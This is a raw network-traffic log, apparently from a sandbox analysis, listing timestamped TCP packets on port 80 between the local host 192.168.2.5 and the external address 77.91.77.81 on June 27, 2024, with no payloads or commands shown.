Jun 27, 2024 19:27:07.249054909 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249074936 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249089956 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249102116 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249114037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249131918 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249145985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249201059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249212027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249228001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249238968 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249238968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249253035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249259949 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249284029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249382973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249394894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249403954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249427080 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249442101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249541998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249552965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249564886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249577045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249579906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249588013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249598980 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249600887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249614000 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249625921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249638081 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249640942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249664068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249676943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.249840021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249851942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.249881029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.250111103 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250152111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.250193119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250206947 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250230074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.250339031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250349998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250360966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250375986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250382900 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.250397921 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.250397921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250411034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250420094 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.250425100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250441074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.250458956 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.250549078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250560999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250571966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250585079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.250586987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.250600100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.250622034 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251029968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251041889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251051903 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251072884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251092911 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251120090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251131058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251141071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251153946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251159906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251168966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251183033 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251199007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251235008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251245975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251272917 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251292944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251305103 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251315117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251327991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251329899 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251348019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251368999 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251498938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251512051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251523018 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251538992 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251549959 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251559973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251564026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251575947 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251583099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251586914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.251599073 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251612902 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.251627922 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.286220074 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286231995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286242008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286351919 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286364079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286390066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.286431074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.286436081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286448956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286472082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.286495924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.286554098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286587954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.286640882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286650896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286664009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286674976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286684990 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.286706924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.286824942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286834955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286844969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286849976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286866903 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.286890984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.286967993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286978006 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286988020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.286998987 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.287007093 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.287019014 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.287036896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.287039995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.287049055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.287067890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.287079096 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.316277981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.316303968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.316313028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.316340923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.316378117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.316401005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.316411018 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.316420078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.316431046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.316441059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.316445112 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.316461086 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.316478968 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.355947971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.355959892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.355971098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.355993032 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356019974 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356031895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356043100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356065035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356079102 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356112957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356125116 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356136084 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356149912 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356170893 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356276989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356287956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356297970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356309891 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356317997 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356323004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356336117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356339931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356359959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356381893 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356405020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356441021 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356599092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356610060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356621981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356631994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356640100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356647968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356659889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356661081 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356672049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356678009 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356686115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356703043 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356703043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356715918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356724024 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356726885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356739998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.356746912 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.356770039 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357059956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357072115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357081890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357094049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357103109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357106924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357115984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357119083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357131004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357140064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357144117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357161999 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357175112 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357249975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357290030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357346058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357357979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357367992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357379913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357386112 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357392073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357407093 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357434034 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357496977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357510090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357521057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357532024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357537985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357543945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357556105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357558966 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357568979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357578993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357582092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357594967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357603073 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357606888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357616901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357621908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357634068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357640982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357645035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.357662916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.357678890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358150959 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358161926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358172894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358186007 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358194113 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358198881 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358211040 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358211994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358225107 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358232975 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358248949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358261108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358261108 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358272076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358279943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358284950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358294964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358304024 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358309984 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358324051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358330965 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358340025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358350992 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358354092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358366013 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358375072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358385086 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358386993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358400106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358407974 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358412027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358424902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358432055 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358438969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358452082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358454943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358463049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358472109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358494043 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.358935118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358947992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358959913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.358983040 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.359004974 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.380701065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.380723000 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.380732059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.380747080 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.380778074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.380815983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.380826950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.380836964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.380846977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.380866051 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.380877972 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.381283998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.381325960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.381335020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.381372929 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.381406069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.381417036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.381428003 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.381448984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.381477118 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.381726027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.381767988 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.381783962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.381794930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.381825924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.381892920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.381903887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.381915092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.381927013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.381943941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.381967068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.382038116 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.382047892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.382059097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.382072926 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.382088900 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.410964966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.410985947 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.410995960 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.411016941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.411051035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.411066055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.411076069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.411098003 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.411114931 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.411118984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.411127090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.411137104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.411145926 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.411159992 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.411181927 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:07.450422049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450470924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:07.450483084 CEST	80	49721	77.91.77.81	192.168.2.5
